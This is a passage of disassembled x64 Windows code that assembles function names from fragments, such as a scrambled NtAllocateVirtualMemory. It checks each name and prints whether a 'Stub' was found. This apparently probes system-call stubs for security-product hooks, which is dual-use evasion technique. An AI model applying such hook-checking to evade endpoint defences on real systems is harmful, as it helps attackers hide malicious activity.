lea r8, [0x1401005bb]
mov rcx, rax
call fcn.1400bb9d0
lea rdx, [rbp + 0x3b40]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x3b40]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x3b60]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x3b80]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x3ba0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x3bc0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x3be0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x3c00]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x3c20]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x3c40]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x3c60]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x3c80]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x3ca0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x3cc0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x3cef]
mov rcx, rax
call fcn.140073520
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x3cf0]
mov rcx, rax
call fcn.1400aa9c0
mov r9, qword [rbp + 0x52a8]
mov r8, qword [rbp + 0x52c8]
mov rdx, qword [rbp + 0x52a0]
lea rax, [rbp + 0x3cf0]
mov rcx, qword [rbp + 0x5320]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5390]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x529c], eax
lea rax, [rbp + 0x3cf0]
mov rcx, rax
call fcn.1400ab570
cmp dword [rbp + 0x529c], 0
je 0x140006e52
lea rbx, [0x14010058b]
jmp 0x140006e59
lea rbx, [0x140100590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.140030cf0
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x3f1f]
mov rcx, rax
call fcn.1400734f0
lea rdx, [rbp + 0x3f1f]
lea rax, [rbp + 0x3ef0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aae50
lea rax, [rbp + 0x3ed0]
lea rdx, [rbp + 0x3ef0]
lea r8, [0x14010056f]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x3eb0]
lea rdx, [rbp + 0x3ed0]
lea r8, [0x1401005cb]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x3e90]
lea rdx, [rbp + 0x3eb0]
lea r8, [0x140100583]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x3e70]
lea rdx, [rbp + 0x3e90]
lea r8, [0x14010057b]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x3e50]
lea rdx, [rbp + 0x3e70]
lea r8, [0x140100583]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x3e30]
lea rdx, [rbp + 0x3e50]
lea r8, [0x14010057b]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x3e10]
lea rdx, [rbp + 0x3e30]
lea r8, [0x140100571]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x3df0]
lea rdx, [rbp + 0x3e10]
lea r8, [0x1401005d1]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x3dd0]
lea rdx, [rbp + 0x3df0]
lea r8, [0x140100577]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x3db0]
lea rdx, [rbp + 0x3dd0]
lea r8, [0x1401005af]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x3d90]
lea rdx, [rbp + 0x3db0]
lea r8, [0x1401005b1]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x3d70]
lea rdx, [rbp + 0x3d90]
lea r8, [0x140100581]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x3d50]
lea rdx, [rbp + 0x3d70]
lea r8, [0x14010057b]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x3d30]
lea rdx, [rbp + 0x3d50]
lea r8, [0x140100579]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x3d10]
lea rdx, [rbp + 0x3d30]
lea r8, [0x1401005b3]
mov rcx, rax
call fcn.1400bb9d0
lea rdx, [rbp + 0x3d10]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x3d10]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x3d30]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x3d50]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x3d70]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x3d90]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x3db0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x3dd0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x3df0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x3e10]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x3e30]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x3e50]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x3e70]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x3e90]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x3eb0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x3ed0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x3ef0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x3f1f]
mov rcx, rax
call fcn.140073520
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x3f20]
mov rcx, rax
call fcn.1400aa9c0
mov r9, qword [rbp + 0x52a8]
mov r8, qword [rbp + 0x52c8]
mov rdx, qword [rbp + 0x52a0]
lea rax, [rbp + 0x3f20]
mov rcx, qword [rbp + 0x5318]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5390]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x529c], eax
lea rax, [rbp + 0x3f20]
mov rcx, rax
call fcn.1400ab570
cmp dword [rbp + 0x529c], 0
je 0x1400071ed
lea rbx, [0x14010058b]
jmp 0x1400071f4
lea rbx, [0x140100590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.140030cf0
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x41af]
mov rcx, rax
call fcn.1400734f0
lea rdx, [rbp + 0x41af]
lea rax, [rbp + 0x4180]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aae50
lea rax, [rbp + 0x4160]
lea rdx, [rbp + 0x4180]
lea r8, [0x14010056f]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x4140]
lea rdx, [rbp + 0x4160]
lea r8, [0x140100571]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x4120]
lea rdx, [rbp + 0x4140]
lea r8, [0x140100573]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x4100]
lea rdx, [rbp + 0x4120]
lea r8, [0x14010057b]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x40e0]
lea rdx, [rbp + 0x4100]
lea r8, [0x140100581]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x40c0]
lea rdx, [rbp + 0x40e0]
lea r8, [0x14010056f]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x40a0]
lea rdx, [rbp + 0x40c0]
lea r8, [0x1401005b9]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x4080]
lea rdx, [rbp + 0x40a0]
lea r8, [0x14010057b]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x4060]
lea rdx, [rbp + 0x4080]
lea r8, [0x1401005bb]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x4040]
lea rdx, [rbp + 0x4060]
lea r8, [0x140100583]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x4020]
lea rdx, [rbp + 0x4040]
lea r8, [0x140100587]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x4000]
lea rdx, [rbp + 0x4020]
lea r8, [0x14010057b]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x3fe0]
lea rdx, [rbp + 0x4000]
lea r8, [0x1401005af]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x3fc0]
lea rdx, [rbp + 0x3fe0]
lea r8, [0x1401005b1]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x3fa0]
lea rdx, [rbp + 0x3fc0]
lea r8, [0x140100581]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x3f80]
lea rdx, [rbp + 0x3fa0]
lea r8, [0x14010057b]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x3f60]
lea rdx, [rbp + 0x3f80]
lea r8, [0x140100579]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x3f40]
lea rdx, [rbp + 0x3f60]
lea r8, [0x1401005b3]
mov rcx, rax
call fcn.1400bb9d0
lea rdx, [rbp + 0x3f40]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x3f40]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x3f60]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x3f80]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x3fa0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x3fc0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x3fe0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x4000]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x4020]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x4040]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x4060]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x4080]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x40a0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x40c0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x40e0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x4100]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x4120]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x4140]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x4160]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x4180]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x41af]
mov rcx, rax
call fcn.140073520
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x41b0]
mov rcx, rax
call fcn.1400aa9c0
mov r9, qword [rbp + 0x52a8]
mov r8, qword [rbp + 0x52c8]
mov rdx, qword [rbp + 0x52a0]
lea rax, [rbp + 0x41b0]
mov rcx, qword [rbp + 0x5310]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5390]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x529c], eax
lea rax, [rbp + 0x41b0]
mov rcx, rax
call fcn.1400ab570
cmp dword [rbp + 0x529c], 0
je 0x14000760c
lea rbx, [0x14010058b]
jmp 0x140007613
lea rbx, [0x140100590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.140030cf0
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x441f]
mov rcx, rax
call fcn.1400734f0
lea rdx, [rbp + 0x441f]
lea rax, [rbp + 0x43f0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aae50
lea rax, [rbp + 0x43d0]
lea rdx, [rbp + 0x43f0]
lea r8, [0x14010056f]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x43b0]
lea rdx, [rbp + 0x43d0]
lea r8, [0x1401005d3]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x4390]
lea rdx, [rbp + 0x43b0]
lea r8, [0x14010057b]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x4370]
lea rdx, [rbp + 0x4390]
lea r8, [0x14010056f]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x4350]
lea rdx, [rbp + 0x4370]
lea r8, [0x1401005ad]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x4330]
lea rdx, [rbp + 0x4350]
lea r8, [0x140100575]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x4310]
lea rdx, [rbp + 0x4330]
lea r8, [0x1401005c1]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x42f0]
lea rdx, [rbp + 0x4310]
lea r8, [0x14010056f]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x42d0]
lea rdx, [rbp + 0x42f0]
lea r8, [0x14010057b]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x42b0]
lea rdx, [rbp + 0x42d0]
lea r8, [0x1401005b7]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x4290]
lea rdx, [rbp + 0x42b0]
lea r8, [0x14010056f]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x4270]
lea rdx, [rbp + 0x4290]
lea r8, [0x1401005af]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x4250]
lea rdx, [rbp + 0x4270]
lea r8, [0x1401005b1]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x4230]
lea rdx, [rbp + 0x4250]
lea r8, [0x140100581]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x4210]
lea rdx, [rbp + 0x4230]
lea r8, [0x14010057b]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x41f0]
lea rdx, [rbp + 0x4210]
lea r8, [0x140100579]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x41d0]
lea rdx, [rbp + 0x41f0]
lea r8, [0x1401005b3]
mov rcx, rax
call fcn.1400bb9d0
lea rdx, [rbp + 0x41d0]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x41d0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x41f0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x4210]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x4230]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x4250]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x4270]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x4290]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x42b0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x42d0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x42f0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x4310]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x4330]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x4350]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x4370]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x4390]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x43b0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x43d0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x43f0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x441f]
mov rcx, rax
call fcn.140073520
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x4420]
mov rcx, rax
call fcn.1400aa9c0
mov r9, qword [rbp + 0x52a8]
mov r8, qword [rbp + 0x52c8]
mov rdx, qword [rbp + 0x52a0]
lea rax, [rbp + 0x4420]
mov rcx, qword [rbp + 0x5308]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5390]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x529c], eax
lea rax, [rbp + 0x4420]
mov rcx, rax
call fcn.1400ab570
cmp dword [rbp + 0x529c], 0
je 0x1400079ff
lea rbx, [0x14010058b]
jmp 0x140007a06
lea rbx, [0x140100590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.140030cf0
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x468f]
mov rcx, rax
call fcn.1400734f0
lea rdx, [rbp + 0x468f]
lea rax, [rbp + 0x4660]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aae50
lea rax, [rbp + 0x4640]
lea rdx, [rbp + 0x4660]
lea r8, [0x14010056f]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x4620]
lea rdx, [rbp + 0x4640]
lea r8, [0x1401005bf]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x4600]
lea rdx, [rbp + 0x4620]
lea r8, [0x14010057b]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x45e0]
lea rdx, [rbp + 0x4600]
lea r8, [0x14010056f]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x45c0]
lea rdx, [rbp + 0x45e0]
lea r8, [0x1401005ad]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x45a0]
lea rdx, [rbp + 0x45c0]
lea r8, [0x140100575]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x4580]
lea rdx, [rbp + 0x45a0]
lea r8, [0x1401005c1]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x4560]
lea rdx, [rbp + 0x4580]
lea r8, [0x14010056f]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x4540]
lea rdx, [rbp + 0x4560]
lea r8, [0x14010057b]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x4520]
lea rdx, [rbp + 0x4540]
lea r8, [0x1401005b7]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x4500]
lea rdx, [rbp + 0x4520]
lea r8, [0x14010056f]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x44e0]
lea rdx, [rbp + 0x4500]
lea r8, [0x1401005af]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x44c0]
lea rdx, [rbp + 0x44e0]
lea r8, [0x1401005b1]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x44a0]
lea rdx, [rbp + 0x44c0]
lea r8, [0x140100581]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x4480]
lea rdx, [rbp + 0x44a0]
lea r8, [0x14010057b]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x4460]
lea rdx, [rbp + 0x4480]
lea r8, [0x140100579]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x4440]
lea rdx, [rbp + 0x4460]
lea r8, [0x1401005b3]
mov rcx, rax
call fcn.1400bb9d0
lea rdx, [rbp + 0x4440]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x4440]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x4460]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x4480]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x44a0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x44c0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x44e0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x4500]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x4520]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x4540]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x4560]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x4580]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x45a0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x45c0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x45e0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x4600]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x4620]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x4640]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x4660]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x468f]
mov rcx, rax
call fcn.140073520
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x4690]
mov rcx, rax
call fcn.1400aa9c0
mov r9, qword [rbp + 0x52a8]
mov r8, qword [rbp + 0x52c8]
mov rdx, qword [rbp + 0x52a0]
lea rax, [rbp + 0x4690]
mov rcx, qword [rbp + 0x5300]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5390]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x529c], eax
lea rax, [rbp + 0x4690]
mov rcx, rax
call fcn.1400ab570
cmp dword [rbp + 0x529c], 0
je 0x140007df2
lea rbx, [0x14010058b]
jmp 0x140007df9
lea rbx, [0x140100590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.140030cf0
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x48bf]
mov rcx, rax
call fcn.1400734f0
lea rdx, [rbp + 0x48bf]
lea rax, [rbp + 0x4890]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aae50
lea rax, [rbp + 0x4870]
lea rdx, [rbp + 0x4890]
lea r8, [0x14010056f]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x4850]
lea rdx, [rbp + 0x4870]
lea r8, [0x1401005d5]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x4830]
lea rdx, [rbp + 0x4850]
lea r8, [0x14010057b]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x4810]
lea rdx, [rbp + 0x4830]
lea r8, [0x140100573]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x47f0]
lea rdx, [rbp + 0x4810]
lea r8, [0x140100579]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x47d0]
lea rdx, [rbp + 0x47f0]
lea r8, [0x140100589]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x47b0]
lea rdx, [rbp + 0x47d0]
lea r8, [0x1401005b5]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x4790]
lea rdx, [rbp + 0x47b0]
lea r8, [0x1401005b7]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x4770]
lea rdx, [rbp + 0x4790]
lea r8, [0x14010057b]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x4750]
lea rdx, [rbp + 0x4770]
lea r8, [0x140100577]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x4730]
lea rdx, [rbp + 0x4750]
lea r8, [0x140100583]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x4710]
lea rdx, [rbp + 0x4730]
lea r8, [0x14010056f]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x46f0]
lea rdx, [rbp + 0x4710]
lea r8, [0x14010057f]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x46d0]
lea rdx, [rbp + 0x46f0]
lea r8, [0x140100575]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x46b0]
lea rdx, [rbp + 0x46d0]
lea r8, [0x1401005c1]
mov rcx, rax
call fcn.1400bb9d0
lea rdx, [rbp + 0x46b0]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x46b0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x46d0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x46f0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x4710]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x4730]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x4750]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x4770]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x4790]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x47b0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x47d0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x47f0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x4810]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x4830]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x4850]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x4870]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x4890]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x48bf]
mov rcx, rax
call fcn.140073520
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x48c0]
mov rcx, rax
call fcn.1400aa9c0
mov r9, qword [rbp + 0x52a8]
mov r8, qword [rbp + 0x52c8]
mov rdx, qword [rbp + 0x52a0]
lea rax, [rbp + 0x48c0]
mov rcx, qword [rbp + 0x52f8]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5390]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x529c], eax
lea rax, [rbp + 0x48c0]
mov rcx, rax
call fcn.1400ab570
cmp dword [rbp + 0x529c], 0
je 0x14000818d
lea rbx, [0x14010058b]
jmp 0x140008194
lea rbx, [0x140100590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.140030cf0
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x4a8f]
mov rcx, rax
call fcn.1400734f0
lea rdx, [rbp + 0x4a8f]
lea rax, [rbp + 0x4a60]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aae50
lea rax, [rbp + 0x4a40]
lea rdx, [rbp + 0x4a60]
lea r8, [0x14010056f]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x4a20]
lea rdx, [rbp + 0x4a40]
lea r8, [0x1401005c5]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x4a00]
lea rdx, [rbp + 0x4a20]
lea r8, [0x1401005d1]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x49e0]
lea rdx, [rbp + 0x4a00]
lea r8, [0x14010057b]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x49c0]
lea rdx, [rbp + 0x49e0]
lea r8, [0x1401005c1]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x49a0]
lea rdx, [rbp + 0x49c0]
lea r8, [0x1401005bf]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x4980]
lea rdx, [rbp + 0x49a0]
lea r8, [0x14010057b]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x4960]
lea rdx, [rbp + 0x4980]
lea r8, [0x140100577]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x4940]
lea rdx, [rbp + 0x4960]
lea r8, [0x14010056f]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x4920]
lea rdx, [rbp + 0x4940]
lea r8, [0x14010057f]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x4900]
lea rdx, [rbp + 0x4920]
lea r8, [0x140100575]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x48e0]
lea rdx, [rbp + 0x4900]
lea r8, [0x1401005c1]
mov rcx, rax
call fcn.1400bb9d0
lea rdx, [rbp + 0x48e0]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x48e0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x4900]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x4920]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x4940]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x4960]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x4980]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x49a0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x49c0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x49e0]
